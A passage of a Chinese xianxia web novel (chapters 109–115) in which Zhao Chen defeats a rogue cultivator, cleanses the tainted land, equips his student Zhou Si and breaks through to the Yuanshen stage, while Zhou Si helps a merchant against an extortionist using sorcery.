对此,中年修士丝毫没有感到意外。只是,原本那青黑色浑浊暗淡的流光之上,忽然浮现出一层淡淡的暗红色光辉。之后,中年修士每次遁光的时间和之前相比略快了一瞬左右。并且每次遁光的距离都从一里远变成了里远。 突然,赵尘按下遁光,向中年修士方向遥遥看去。看见中年修士原本就不俗的遁光比之前略快了一丝,并且每次遁光的距离是之前的倍。 看见这种情形,担心周嗣那边的情况,赵尘没有和中年修士比试遁光,而是一如刚才般的速度驾起遁光追赶中年修士。同时取出量山尺,不是作为兵器,而是作为法器使用。 忽然,中年修士看见一团玄光从后方疾驰而来,朝着自己脑袋方向砸落。中年修士刚准备向旁边避开,只见玄光忽然变大,变成一条微型的山脉虚影,并散发出一种厚重苍茫的气息,朝着自己压了过来。同时,连空气都变的好像水银一样沉重,或者说要比水银沉重千百倍。 在山脉虚影的压迫下,中年修士无奈只能将遁光降下。只见泛着淡淡血色的青黑色浑浊流光在即将和山脉虚影撞上的时候,猛然向地上坠去。就在此时,这山脉虚影也随之往地上砸落。还未落到地上,山脉虚影便和地气相互感应,地气腾空,山脉下落。 随着山脉虚影落地,随着一声撞击声,便是周围大地都微微颤动了番。在一阵烟尘四起中,赵尘按下遁光,落在不远处。 随手招来一阵风将周围弥漫的烟雾驱散,赵尘便看见在山脉虚影坠落的位置,凭空出现了一条高数丈,长数十丈的山岗。当然了,这座由地气、法力、灵气形成的山岗并不稳定,便是放在这里不动,过上一两个时辰,也会消散掉。 之所以能坚持这么久,除了这座山岗绝大部分是由地气构成的外,还因为量山尺本身就有汇聚地气的功能。 将量山尺召回,原地出现一个大坑,不出所料的,中年修士并不在坑中。之前,中年修士在还未落地之时,便毫不犹豫的倾力向旁边滚去,间不容发的避开了量山尺。 赵尘也没有指望就这样简单的拿下中年修士,之前中年修士在驾驭遁光的时候施展禁术,加快速度,全凭一口气吊着,如今这样被迫降下遁光,这口气便散了,自然也就跑不远了。 果然,找到赵尘再次追上,并拦下中年修士,中年修士也只是驾了五六次遁光,连五里地都没跑到。 在距离一个村落两三里的数林中。中年修士刚依在一棵树旁顺了顺呼吸,便有一道青色流光落在中年修士百丈外。 见此,中年修士松开撑在树上的手臂,站直身体,整了整衣物:“道友又何必苦苦相逼呢?” 看着脸色由蜡黄变的苍白的中年汉子,赵尘面无表情道:“汝以活人练法,一身罪孽颇重,气运低糜、业力难消。今天和我相遇,也算是符合天意人心,道友如今受此报应,又有什么看不开的呢?” “阴司果报,都是身后之事,待我道消之后,自有地府清算。” 说到这里,赵尘也不知道中年修士什么意思,只听见中年修士继续说道:“看手段,道友出生大派,哪知我等散修之苦,我自幼随……随老师修行,十三岁时又得了些机缘,得见大道,修行至今,已有两百七十岁了。妙法难寻,法器难求,名师难遇啊!” 说到这里,中年修士沉默了片刻,继续道:“我这两百年苦工,炼制出的十数件法器一些遗矢,一些毁去,如今我法力耗尽,气血干枯,还有最后一招,还望道友品鉴。” 中年汉子话音刚落,未等赵尘回答,猛吸了一口气,在胸中酝酿一番,一口热血化作一支血箭,被中年汉子吐出。在中年汉子将血箭吐出之后,原本就已经苍白的脸更是苍白了三分,一身的精气神都跌落谷底,连身体也支撑不住了,猛然向地面瘫坐下去。 在赵尘眼中,随着这一口鲜血吐出,原本中年汉子周身已经非常暗淡的灵光更是一下子变得更加暗淡了。若是用柴火比较,便是从原本即将熄灭的小火苗变得连明火都没有了,只有偶尔飘出的火星可以证明其还在燃烧。看着这似曾相识的一幕。赵尘不由有些沉默。 第一百零九章 结束 自从血箭被中年汉子从口中喷出来的时候,便如同闪电一般向赵尘射去。整支血箭有一尺多长,好像由赤红、鲜亮、透明的红水晶精心雕琢而成。虽是由血液施展的,但却不见一点血腥,反而散发着堂皇大气的气息。也是自中年汉子和赵尘交手以来,难得施展的几手不见一丝阴郁气息的术法之一。 虽然血箭的速度极快,不是平常人肉眼可以捕捉到的,而且还将赵尘给锁定住了,无法靠闪避来躲开血箭,但还在赵尘的应付范围之内。赵尘伸出左手,对着血箭用宽大的左袖一卷。赵尘的手臂似苍龙一般翻滚着,而衣袖便是苍龙周身的云雾一般,不断被苍龙搅动着。 血箭先是刺破了赵尘的护体清光,随后被赵尘用衣袖包裹了起来, 也是宗门发放的这套行头质地不错,才将血箭挡住,赵尘头顶星冠洒落星辉,和护体清光熔炼,充斥着法力的道袍的衣袖上又融入了一层星辉。只花了一瞬的工夫,一小滩鲜血被赵尘用衣袖甩落,在鲜血即将落地的刹那,又被赵尘烧尽,防止中年修士耍手段。 在赵尘正接住血箭时,正在往地上瘫坐而去的中年修士还没有瘫坐到地上,嘴角微微翘了下,伸手从衣领处向后一拽,将自己身上的暗黄色道袍扯下。中年修士将手中的暗黄色道袍向前挥去,暗黄色的道袍被中年修士抓在手中,好像大旗一样展开,随风飘动。 原本,在赵尘眼中,中年修士身上这件暗黄色道袍极其普通。可随着中年修士这一扯淡,道袍之上,突然放出一层暗黄色的灵光。且随着中年修士周身法力等的注入,这层灵光越发的厚重起来。 中年修士一下子将全部精气神点燃,和法力一起灌注进手中的道袍中,使劲往前一丢,看着赵尘轻声道:“地府,我是不准备去了。来生,我也不打算有了。我只信今生!”说罢,随着手一张开,中年修士便倒在了地上,近乎形神俱灭,只余一丝残魂向下土悠悠落去 随着中年修士将暗黄色道袍使劲向前丢去,道袍铺天盖地的变大,向着赵尘方向罩去。 和那对灯笼法器一样,这件暗黄色道袍是中年修士的两件重宝之一,是中年修士近乎从修行之初就开始炼制,历时两百多年,到现在都不曾停歇。 其是中年汉子以一匹昏黄云锦制成的道袍为基础,每天黄昏之时,采取各种污秽之气、污浊之气、怨煞之气、地脉之气以及各种毒物等为材料。一点一点炼制而成。 待成功之后,再以太阳之水和太阴之火不断洗炼,只留下最精粹的一点,随后又重新在每天黄昏之时,采集各种种污秽之气、污浊之气、怨煞之气、地脉之气以及各种毒物等对其进行祭炼,之后再用太阳之水和太阴之火不断洗炼,只留下最精粹的一点,如此回环反复。从修行之初,一直到昨天,两百多年,几乎没有一天停止下来。 当然了,这件道袍也没有愧对中年汉子的付出。其作为中年修士手中最宝贵的一件法器之一,在其心中的地位,甚至超过了那对灯笼法器。亦帮助中年汉子躲过多次生死之劫。而且,只要中年汉子再继续祭炼下去,再过两三百年,这件道袍便可以成为一件法宝。 随着赵尘将血箭摆平,那暗黄色的道袍已经变成了一块长宽皆十数丈的大幕,从赵尘头顶缓缓落下,轻灵飘渺之余,又带着一份从容不迫的磅礴大势,让赵尘避无可避。随后,其又化作一块长宽皆上百丈的暗黄色云雾,将赵尘完全笼罩住。这暗黄色云雾厚重非常,难以击碎。并且,这云雾在蕴含剧毒的同时,还污染法器甚至修士的灵性、灵光。 不仅如此,即便赵尘将这一朵云雾给击碎了,四散而开的暗黄色云雾,足以将方圆十数里的人畜鸟兽甚至植被统统毒死,这样庞大的因果业力也足够赵尘喝一壶的了。 面对这种情况,赵尘脑海中各种念头一闪而过,之后决定以力破巧。五颗枣核大小的雷珠从袖中滑落,被赵尘用右手接住。随即被赵尘朝着头顶的暗黄色云雾丢去。 五颗雷珠在黄色云雾的前后左右和中间同时炸开,四条雷霆锁链将暗黄色云雾完全封锁住,中间一条锁链如雷龙一般在云雾中不断翻滚。同时五次天师级强者的一击,不要说这件暗黄色的道袍只是一件法器,便是一件法宝,在无人执掌的情况下也会被打落原型,甚至可能会破损。 这团云雾在雷霆锁链的封锁和撕扯下,瞬间然变回了一块破布,从空中坠落。便是剩下的一点四散的,丝丝缕缕暗黄色烟云,也被雷霆全部消灭掉。 赵尘伸手将从空中掉落的破布接住,大致打量了一眼,随即被赵尘收好,放回袖中。 直到这时,赵尘才将目光放到中年修士的残魂身上,看着悠悠向下土飘去的残魂:“这冥土,你终归还是要走一遭的。” 已然失去意识的残魂,自然无法回应赵尘。像中年修士这种情况,进入冥土之后,暂不会受到处罚,而是先温养和洗炼残魂,之后直接投入轮回,而轮回也是最擅于滋养灵魂的。至于阴司处罚,自然要等魂体基本完整,意识清醒之后再清算。 说罢,赵尘上前几步,护体清光化作手印,隔空在中年修士身上搜罗了几下,也没细看,检查了一下,见没有特殊手段,便塞回了袖中,随即转身像远处看去。 两三里外,一位土地神显化而出,立身神域之中,正静静的看着赵尘和中年修士交手。见赵尘望过来,土地神一招手,将中年修士的残魂摄入手中,反掌送入神域深处。随即对赵尘点头示意,一脸的祥和。 因为担心周嗣那边出事,赵尘也只是点头回应了土地神,随即指尖一弹,将中年修士尘归尘,土归土,便驾起遁光回去了。 第一百一十章 收尾 一条途径来仪府府城,不怎么出名的“小河”上,一艘数丈长的乌篷船正沿着水流向来仪府府城驶去。因为要带的另外九人,使用马车不怎么方便,赵尘便又将法船拿了出来。 赵尘在船舱中,靠着椅子上,翻看着中年修士的藏书,主要是看中年修士在书中做到注释和中年修士留下的各类随笔。因为这只是中年修士用来整理思绪,写给自己看的,所以显得十分零碎。便是得到了中年修士的全部藏书,可赵尘依旧即不知道中年修士的名字,也不了解中年修士的往事。而周嗣,显然还没有从数天前那一场大战中走出来,显得有些心不在焉。 数天前,赵尘驾着遁光落在周嗣身前,周嗣看见赵尘,有些谨慎的恭谨一礼:“老师。”见此,赵尘笑着伸手一招,周嗣手中捧着的云斗立刻飞回赵尘手中。 确认眼前真的是赵尘之后,周嗣走下马车:“老师,那位?” “解决了”说着,赵尘看了眼前满目疮痍的大地,不由的叹了口气。 “老师,这地面虽然看着狼藉,但实际上,怕是连明年春天都等不到,只要数月时间,到夏天便又会生机勃勃。” “一般情况下确实如此,但这里确实不一样。这里的情况大致可以分成两类,第一类是这片长宽皆有数十丈的地界。先不说阵法法域对这片环境的影响,还有血尸和僵尸对其的影响和侵蚀。单是次地数次和冥土交融,就产生了不小的影响。” 周嗣在赵尘的指点下细细感知着,只觉一股刺骨的寒意自脚底缓缓升起。刹那间,赵尘猛然打了一个寒颤。 “这片土地受冥土侵蚀,其上阴气沸腾,鬼气森森,若不处理,不出三日,便有残念在其中滋养,不出一旬便有鬼物在其中躲避,若是没有发现,日久天长之下便是直接形成一片鬼域都不无可能。” “这还好处理,真正难的是这里,”说着,赵尘指了指中间那一片长十数丈,宽数尺的地界:“这一片地直接被杀死了,想要让其重新焕发生机,便是靠周围生机侵蚀,这也要数十年苦工才行。” “土也会被杀死?”周嗣有些好奇的问道。 “之前那一击,”说着,赵尘随手比划了一个投掷的动作:“不但在威能上,已经达到了第三阶,甚至还带着丝丝第四阶的韵味。这一小片土地的情况,便是受这丝韵味侵染行成的。” 这么长时间过去,周嗣自然也知道了第三阶、第四阶是什么。在仙道上,大多数是炼神返虚和炼虚合道,在神道上,是八品和七品。闻言,周嗣有些好奇的问道:“只是一丝第四阶的韵味擦过,便会造成这般景象,那那些真正的第四阶存在出手?” “在无尽岁月以前,确实是这样的景象,那些神圣动手,一击之下,数十万里废墟也只是寻常。便是将数十、上百万里的大地彻底翻过来,沧海桑田也只在一瞬之间。而如今的仙道修士,讲究的是于微尘之间,演绎诸天大千,所以并不会出现你想象中的情况。” “那这又如何处理?”周嗣比划了一圈周周的土地。 “这一片倒是还好处理,但这一小块,只能尽人事,听天命了。”说话间赵尘从袖中摸出一块白玉,口颂真言,左手捧玉,右手掐着指印朝着地上一指。只见丝丝缕缕的黑气从土中蒸腾而起,争先恐后的飞入白玉中。不一会儿,赵尘手中的白玉已经变得一片漆黑。赵尘左手一翻,将变的漆黑的白玉收回,同时又取出一块新的白玉。 便这样一连染黑了数十块白玉,地上终于没有黑气飞上来了。赵尘将指决一收,顺便将左手中的玉石收入袖中:“好了,终于将土中的阴气、鬼气基本抽干净了。” 随后,赵尘又从体内抽出一道先天灵气,用法力包裹的融入土中。顿时,土中的先天灵气开始向后天转化,化作大量的后天灵气。经历了自先天向后天转化的玄妙道韵和大量灵气洗礼最后,这片土地中余下的一丝阴寒也被彻底洗净,甚至透出丝丝灵韵。 接着,周嗣又看见赵尘从袖中摸出一把草籽,洒落大地,随着赵尘一挥袖,甚至隐隐间有些许绿意从土中透出。远远看去,一片淡淡的,甚至有些隐约的绿色覆盖大地。只是有些刺眼的是,中间有一块长十来丈,宽数尺的地方,依旧光秃秃一片。 见此,赵尘长舒了口气:“也只能这样了,快则明年草木生发只是,慢些年之后,这里便会重新生机萌发的。” 处理完环境之后,赵尘又将那一大包暗红色珠子取了出来,布下仪轨,将之依次炼渡了一番,送入了冥土。 一切完成之后,赵尘屈指算了算,又招来一面水镜细细打量了自己一番,连连说自己亏了,虽是玩笑的语气,但周嗣还是隐隐从中听出了些许肉疼。对此,周嗣有些好奇的询问原因。 赵尘闻言,指了指身上道袍:“之前状态紧急,我只能通过这件袍子,向诸神圣借力,炼渡了那些亡魂,这般行事,惊动诸位神圣,借取力量,自然会折损功德。而后,解决了这件事,冥冥之中也自有功德降下,两相比较,在功德上甚至亏了。” 说到这里,赵尘心中又闪过一丝用磨盘给自己印功德的念头,随后又连忙被赵尘磨灭在脑海深处。 …… 这些日子来,赵尘一边在翻阅着中年修士的藏书,体味着中年修士的智慧,另一边,也不知是不是从前前世带来的火力不足恐惧症又犯了,越发觉得自己的法器还是有些不足,遂下定决心要再添置两件。 就在这时,乌篷船忽然缓缓向岸边靠去。赵尘遂转首对周嗣道:“船舱中这九个人,周生,你就一个人送去。”说话间,船在岸边彻底停住,赵尘现场为周嗣削了一辆特制的马车,将船舱中依旧昏迷的九人扔进车中,将两匹马从船中牵了出来,系在车前。 第一百一十一章 鹊山 和赵尘相处久了,对赵尘的性格,周嗣也算是有所了解。听赵尘的话,周嗣总感觉自己先前一定不小心得罪了赵尘,赵尘现在正企图报复他,在故意为难自己。 心中这样想着,嘴里却十分恭敬道:“全赖老师手段高明,教导的好,别说普通的壮汉了,就是一般的习武之人,也不过几招的事。便是那些入了武道的存在,一般后天一二层的武者我也不拍。可小子毕竟没有内力,身体素质也只是和刚成年的健康男子差不多。只凭技巧之类的,最多也只能在一般的后天三层武者手中逃命。” “若是遇见后天四层及以上的武者,怕是连反抗的力量也没有。更不要说那些掌握奇妙手段的修士了。这里毕竟是一府之地的府城,人杰地灵,卧虎藏龙,不要说后天武者,便是先天武者,奇人异士,那也绝对不在少数!” 赵尘一边听着周嗣嘴上的话,一边感受着其心中的活动,按下心中泛起的丝丝喜意,在不停的说着一些空话,宽慰着周嗣。 经过好一番商量,赵尘好像终于被周嗣劝说住了:“你说的好像也不无道理。好,我再给你一些东西。” 随后,赵尘给了周嗣三张赤色纹路的符箓,三张金色纹路的符箓,和一枚薄薄的玉符,随后还将周嗣的那一根水磨精钢打制的钢鞭拿了过来,按照最近的感悟,细细炼制了一番,使之成为了一件低阶高等的法器。 看着自己炼制的法器,赵尘满意的点了点头:“是一件低阶高等的上品法器。而且潜力很大,可塑性极强,只要继续温养下去,中阶法器,高阶法器、顶阶法器都没有丝毫问题。便是进阶为法宝,也是有不小的可能的。不止如此,以后你若觉得不趁手,便是往上面添加一些其它符纹、符文、符印、阵法什么的也是完全没有问题的。” 说着赵尘将钢鞭递给周嗣:“这虽然现在只是一件低阶法器,但对各种鬼类、活尸、甚至是修士的神魂都有很大的克制作用。而且这根钢鞭不但可以用法力驱动,还可以用真气驱动,便是一些非常精纯的内力,也是可以用来驱动这根钢鞭的。” “当然了,无论是法力还是真气亦或是内力你都没有。不过不要紧,即使是抓在手中凭空挥舞,使空气中的灵气从钢鞭上流动,也是可以发挥出一定的威力的。” “说完了钢鞭,在说一下这几张符,这三张金色纹路的名曰金光符之前给过你几张,你应该认识,每一张可以抵挡金丹级修士全力一击三次。你只要被先天武者一级的攻击到,便会主动触发,当然了,你也可以将符箓撕开,主动使用。” “因为你体内没有内力加持,所以才连一名后天初期的武者都打不过。而这三张红色纹路的符箓名曰气血符,” “只要将一张气血符撕开,符箓便会产生一股鲜红色的血雾,附着在你的身体周围,加持你的基础力量和防御,还可以使你的拳脚兵刃附带一层气血之力。其可以为你提供后天九层的修为,供你战斗半个时辰,对鬼物之类的杀伤就更大了。 “这一张玉符,你也认识,只要稍用力便可以折断。只要这张玉符被折断,我便可以感应到,到时候自然会来救你。有了这些,要是还出了问题,那就是你命该如此,你就认了!” 听了赵尘的话,周嗣无奈的点了点头:“那好。” 拦下正要辞别的周嗣,赵尘向远处望了一眼,问道:“周生,你知道这来仪府的府城原来叫什么吗?” 听见赵尘的问话,周嗣突然一愣,之前看过的资料从心中涌出,不假思索的说道:“来仪府府城原来是鹊阳郡的郡城。” 所谓鹊阳郡,即鹊山之南的一个郡。 而鹊山,便是由两条山脉构成,一条南北走向,长三万里,一条自西北往东南走向,长一万里。两条山脉呈十字形相交,因形状像一只张开双翅,伏在大地上的喜鹊而得名。鹊山是来仪府最大的五条山脉之一,在鹊山的东南西北,分别是鹊左郡和鹊阴郡小部分,鹊阳郡,鹊阴郡大部分,鹊右郡四郡之地。而两条山脉便相交于鹊阴郡。 而桐山,相对而言,在来仪府,只是一条在小型山脉中也只是中等偏上的小山脉,所以说,某种角度来看,来仪府府城的转移,也算是冥冥中自有天意。当然了,若是来仪府的府城依旧在桐山周围,那也可以说是山不在高,有仙则名。 若在空中俯视鹊山。只见那条一万里长的山脉正如喜鹊的两只翅膀,而“双翅”南边那一段数千里的山脉便好像喜鹊的上半身和脑袋。而“双翅”北面那两万多里的山脉就好像喜鹊的下半身和长长的尾翎。 赵尘和周嗣,依旧站在甲板上,远远望着远处的山脉,赵尘不禁感叹道:“这哪里是一只伏在地上的喜鹊,这明显就是一只张开双翅,欲要高飞的凤凰嘛。” 说着,赵尘遥遥指向远处数百里外,那位于鹊山山脉南部,一个叫作鹊首山的大山的最高峰。若站在峰顶,便可以看见在鹊首山中部呈八字形向东延伸出了两条上百里长的山岭。在两条山脉之间,最尾端的中间位置,便是来仪府的府城,也就是曾经的鹊阳城。 “如今,这来仪府的凤气都在往鹊山汇聚,而鹊山中,又以这鹊首山为最。而这座山峰便是鹊首山的主峰。” 说着,赵尘走下甲板,来到岸边,蹲下身子,单手按在地上,与大地相互感应。过了一会儿,又像拔火罐一样将手猛地往上一提,随后握拳起身。 周嗣见状,有些好奇的看了过来。赵尘缓缓张开手掌,只见赵尘手心之中有一大四小五丝土黄色的烟气。其中最大的那丝烟气染着淡淡的青意,而另四丝较小的烟气之上,分别依次染着淡淡的赤、黄、白、紫四种颜色。 第一百一十二章 进阶元神 “这便是我从地中抽出的五丝凤气。这赤、青、黄、白、紫五色指的便是五种凤凰,即:赤色的火凤、青色的青鸾、黄色的鹓鶵、白色的鸿鹄和紫色的鸑鷟。按此推算,三百年后此地孕育出的便是一个青鸾凤格。” “当然了,这里的凤气,说的再玄奇,那也只是一种地脉之气罢了。所以又都呈现土黄色。同样因为这只是一种地脉之气,所以在五行属土的情况下又划分出五行:赤色属火,青色属木,黄色属土。白色属金。剩下的自然属水。你看着这丝地脉之气上所染的淡淡紫色,说是紫,其实更接近黑便是此理。” “便是这五丝凤气,于一般人二而言,就是一份不小的收获。”说着,赵尘取出五个玉瓶,将五丝凤气收好。 随后,赵尘接着说道:“中间这府城,便如同一枚凤凰喙中含着的宝珠。” “正好,周生,等你将这九人送去官府之后,顺便再好好领略一番这颗凤凰宝珠。我到时候会在那鹊首山的最高峰上等你。周生,你在三个月后到半年前这段时间来鹊首山最高峰寻我,我会在那里等你三个月,过时不候。” 最后,看着周嗣带着不舍的表情,驾着马车向远处驶去,赵尘心情舒畅的收起了楼船,取出云斗法器,悠然的驾着白云向远处的鹊首山飘去。 倒不是真的是出于磨练周嗣的原因,才将周嗣赶走的。虽有这样的考量,但这绝对不是起因。 先前,在远远看见鹊山的一顺间,赵尘便心有所感,知道自己进阶元神的时机到了。整个突破的过程,大概要历时数月,到时候怕是没有精力管周嗣,总不能空空的将之拘在身前数月,不管不顾。为此,赵尘一番推算之后,觉得让周嗣一个人在府城待上数月是最优解,于是便有了上面这一幕。 赵尘驾着由云斗法器所变化的白云,悠然的落在鹊首山的最高峰上,选了一处游人绝迹,走兽难至的绝壁,随手开辟了一处洞府,连接水脉,移栽草木,随意装点了几下,便住了进去。 安顿下来的赵尘,并没有马上就开始做突破前的准备,而是先开始治愈自己的火力不足恐惧症。赵尘先是用那些从晴川收取的金红色物质为丝线,编制出一面金红色旗面,还顺手将之前得到的火凤之气编织进去,制成一杆大旗。赵尘将之起名为南天火凤旗。而后,赵尘又根据之前得到的那份福禄化三灾观想图和那份葫芦道韵,炼制了一只金纹红釉铁胎瓷葫芦,起名为金雨葫芦。 单是这两件法器的炼制,便过去了近一个月。当然了,这两件法器如今只是粗粗的炼好,用也能勉强可堪一用,但要想将这两件法器的威能全部展现出来,后面的水磨工夫也是不少。 两件法器炼制成功之后,赵尘便一如往昔一般,早晚功课、子前午后,不急不缓的默默调整自己的状态。随着时间的流逝,心灵愈发空明,灵觉愈发敏锐。 一日,如往常一样,赵尘的神魂,端坐在紫府之中的十层丹台之上,心神恍惚,处于杳杳冥冥的状态。敏锐的灵觉感受着天地间的律动,神魂恍惚之间。好像在和天地同呼吸。突然,赵尘的神魂突然化作元神,整个过程好像水到渠成一般,自然而然,没有一点异象发生。 赵尘的元神睁开眼睛,起身站在丹台之上。看着自己如今直径一百里,高三十里的紫府,虽然法力没有增长多少,只从三里多涨到五里不到,总量上只增长了一半多一点,但赵尘还是心生欢喜,满意的点了点头。 正如之前所说,所谓化神,便是元婴化作元神的一个过程。对于一个化神修士来说,他的神魂每时每刻都在进行微不可查的蜕变,理论上,只要有足够的时间,便一定可以使神魂化作元神,进阶元神期。这是一个水到渠成的过程,没有丝毫瓶颈可言,唯一制约修士的,便是自己的寿元。而经历、悟道等都可以加速这个过程。但实际上,真正能在寿元耗尽前,完成这个蜕变的,万不存一。 早在人皇时代,众修士便对这个经历漫长时间,依靠自然蜕变的方法进行了修改。将这个完整的过程截成九段,划分成九次蜕变。即积累一段时间,完成一次蜕变,再积累一段时间,再完成一次蜕变……如此进行九次蜕变,成就元神。 众修士将这一过程称为九岁,遂将这个法门称为九岁法。就好像一个孩童,一年长一岁,九岁之后,由婴孩长大成年。之所以用九岁这个称呼,是为了表达一种期望,希望这九次蜕变每次只要积累一年时间就可以了。 理论上,只要能修成化神,即使天资再差的人,也可以一个甲子蜕变一次。这样算来,只要在化神期待上五百四十年,就一定可以成就元神。虽然说便是元神境界,也就五百岁寿元。 只是不好之处在于,将这个完整的蜕变过程,人为的割裂成九段,会有损灵觉,折损道基。虽然这份折损微不可查。 可便是这种法门,能在寿尽前完成突破的,便是人皇时代,也依旧不足十分之一。为此,又有了十八岁法的诞生。十八岁法,理论上每次突破的最大时限是四十年,最多耗时七百二十年。理论最大时限虽然增加了,但每次蜕变的难度也降低了。 十八岁法虽然让突破的概率上升到了二分之一,但对灵觉的损害也远高于九岁法。 之后,又出现了每次蜕变时间最长三十三年零四个月的二十七岁法和每次蜕变时间最长三十年的三十六岁法。至此,化神进阶元神的概率已经超过九成。 至于更进一步的法门,不是创作不出来,而是没有意义了。三十六岁法对灵觉的损失,已然是成仙可能性的下限了。而且,这也只是理论而已。 实际上皇庭纪上百纪元,成仙者中,修二十七岁法的都是极少数,三十六岁法的,一个没有。而且,这些在人皇时代广为流传的法门,如今虽不是举世难寻,但也算少有人知的顶尖秘法。 第一百一十三章 坐山虎 到此时,已经是三百一十八年的夏初了。二百八十八年出生的赵尘,三百一十六年,二十八岁进阶化神。到今天不过两年时光,才三十岁,便修成元神,享寿五百载。想到这里,赵尘心中不禁泛起丝丝自得,随即又被赵尘消去。 随后,赵尘开始实验起元神的诸般妙用。经过许多天的实验,赵尘终于将元神境的力量尤其是自己的元神熟悉了。 元神境,和之前最大的不同,便是元神可以如同活人一般人前显圣了,而且,元神不同于肉身,自有万般变化,玄妙非常。并且,元神不像元婴和神魂那样脆弱,甚至可以和修士直接斗法。此外元神可以出窍,在外界巡游。 元神出窍有两种状况。 一是寻常出窍,元神出游的速度要远快于修士驾驭遁光个,并可以远离肉身数千里,具体多远,看修士的功法、根基等各有不同,但最差的也可以远游千里。而且,若是要返回肉身处,只在一念之间。要真是运气太差,连一念的反应时间都没撑下来,被人打散了元神,因为根性尚在肉身之中。在元神破灭的一瞬间,意识又会在根性之中,只能算重伤罢了,元神终究会重新孕育出来。 第二种便是在出窍时直接将根性斩断,这是抛弃肉身,在为夺舍等做准备。这种元神出窍的速度一点也不亚于第一种。只是这种情况,元神虽没了距离的限制,也失去了一念跨越数百乃至数千里,回归肉身的能力。而且,这种斩断根性的举措,也会对道基造成明显的影响。 而且,这种特性和能力,不仅古仙路和天地二法门的第二阶第三级,元神期修士可以做到。神鬼二法门第二阶第三级,火劫期的修士也可以做到。 之后,赵尘便时常元神出窍巡视四方,当然了,这种出窍,不是孤孤单单的一个元神。赵尘往往会将一件法器化作灵光,融入元神之中。与此同时,还会用元神容纳、携带几件法器。进过测试,赵尘发现,自己的元神最远可出寻三千里。而赵尘的元神,不时也会收敛气息,隐去身形,观察一下周嗣。 …… 周嗣自从将那九人送入官府之后,便在来仪府城中住了下来,打算四五个月之后便去鹊首山寻赵尘。几个月下来,倒也认识了一些人,经历了一些事。 一天,周嗣正在街上闲逛,忽然看见一名先前认识的熟人,只见其一脸无奈彷徨的在街上漫无目的的走着。 “魏大哥!”周嗣见状,高声招呼道。周嗣只知道这人姓魏,二十来岁,是领郡人,和同乡一起搭伙,来府城做点小本生意,最近还赔了个底朝天。 “魏大哥,和钱财这种身外之物相比,还是身体更重要。你可千万要保重身体,为此伤身,实在是不值得。” “唉……不是亏本的事,我是因为……”魏叹了口气,想来想,最终还是向周嗣说明了原因。 原来,魏的同乡,因为生意亏本的事,受不住打击,突发急症,人就这样没了。魏便决定给同乡买一口棺材,护送其回乡。 魏到棺材铺子询问价格,铺子的主人还没回话,门口忽然走进了一魁梧老者,端起条长凳大大咧咧的往门口一坐,直说棺材两千文,另外还要付他两千文的好处费。魏询问铺子主人铺子的主人也不吭声,好像默认了老者的话。 魏之后又寻了好几家铺子,但每次还没到门口,便远远看见老者坐在铺子门口的长凳上,好像已经等魏多时了。 回到店里之后,魏越想越气,但谁料想这同乡的尸体忽然尸变,从床上一跃而起,向魏扑去。魏大惊之下,连忙跑了出去,也不敢告诉别人,今天早上,又来这棺材铺买棺材。 魏对棺材铺的主人说,愿再在加一千钱。棺材铺的主人一言不发,而昨天那老者却一拍柜子,呵道:“我虽然不是这棺材铺的主人。但是我在这一片数十年的威名岂容你讨价还价,坐山虎之名岂是白叫的。想要买棺,我的那两千钱孝敬,一文都别想少。” 魏大忿之下和老者争执,谁知道这老头看起来年纪不小,可这力气也不小。轻轻一推,便将魏推出了棺材铺。来到街上的魏这才遇上了周嗣。 魏无可奈何之下,只好离开了棺材铺,在街上游荡,正在彷徨间,遇到了周嗣。 魏对周嗣抱怨道:“我身上现在只剩了二两九钱多银子,换成铜钱,只有两千九百多文。要是可以的话,我再去当铺当些衣物等,换个几十文,凑个三千文,再将徐大哥的灵柩暂时停放在义庄中,回去后再和徐大哥的家人一起将徐大哥接回来。可那老头却索要四千文,我身上哪有这么多钱啊!” 魏口中的徐大哥,便是其同乡,周嗣这两年跟在赵尘身边,对这些事情也算有所了解,听魏的话,遂斟酌道:“魏大哥,你那同乡尸变,怕是那坐山虎施法作祟。” 魏闻言一愣,随即点了点头:“周公子,你说的不错,可就算知道是那个坐山虎在作祟,我又能怎么办呢?要是那个坐山虎没有骗我,他在这府城生活几十年,必然是个有本事的,想要买棺材,那两千文是怎么也少不了的。” 周嗣斟酌道:“因为那个坐山虎的原因,你才要多付两千文。只要把这件事解决了,这两千文就可以免了。” 闻言,魏有些期望的问道:“周公子可有本事可以降服那个坐山虎?” 周嗣摇了摇头:“并不要这样。那个坐山虎为了区区二两银子就和你计较个不停,想来即使有些手段,也是个没多少本事的。既然这个坐山虎没多大本事,却可以在这府城中横行数十年,必然是个识时务的人。这坐山虎之所以敢向魏大哥你索要两千文的好处费,除了看出你是外乡人,形单影只外,最主要的依仗还是其用邪法控制了徐大哥的遗体。只要将他的邪法破去,想来他一定不会再找你要那两千文的好处费了。” 第一百一十四章 钢鞭 第一百一十五章 离开 第二天,大概是受到周嗣影响,魏将钢鞭系在腰上,再以长袍遮住,在街上闲逛,忽然远远看见了也在街上闲逛的周嗣,猛然一扭头,装作没有看见,忙向旁边避去。 可天不随人愿,周嗣一抬头便看到了正欲转身的魏,连忙高呼道:“魏大哥……” 魏脚步一顿,向周嗣走了过去:“周公子,好巧啊!” “是啊,是挺巧的。对了,张大哥,事情解决了吗?” “都解决了……”随即魏将事情的经过解说了一遍,当然了,魏将自己胡扯的那一段给删去了。 周嗣听到事情的经过,唏嘘道:“没想到那洪虎只有这点本事,竟也敢使邪术害人,这也算是多行不义必自毙了,魏大哥不必介怀。” 魏摇了摇头,表示自己没有介怀。周嗣随即问道:“既然事情解决了,魏大哥可不可以将钢鞭还我了。” “这个嘛,我到现在才知道,这世上竟有这么多的不平事,有这么多的施邪法害人之辈。这钢鞭在周公子你身前用处不大。可如果在我手中,我便可以用这钢鞭力所能及的帮助别人,铲除这些不平事。还有,我现在身无分文,用此钢鞭铲除邪恶时候,还能收获一点盘缠。所以,周公子,你可否将钢鞭再借我一段时间。” 周嗣看了魏一眼,没有什么多余的动作,只是说道:“你必须发誓,不用此钢鞭作恶。”待其发誓之后,周嗣点了点头:“既如此,这钢鞭便暂时借给你了。”说罢,不待魏回答,转身就走,直接出了城门,向鹊首山方向走去。 其实,这整个过程,都被赵尘看在眼中。那洪虎,和先前被赵尘送入官府的九人一样,体内不但有一些浑浊法力之外,还有一身的先天真气。 若是由养气境转先天境,将法力转化成真气,转化出来的真气必然至真至纯,这也不会影响将来的武道修行。当然了,若是只是转化一些先天真气,不改换根基,因为先天真气要吸收外界灵气,而养气境对内息和法力的要求,其必然会对养气境的修行造成极重的负担,一次转化,便至少要数年甚至十数年才能将这影响磨灭。 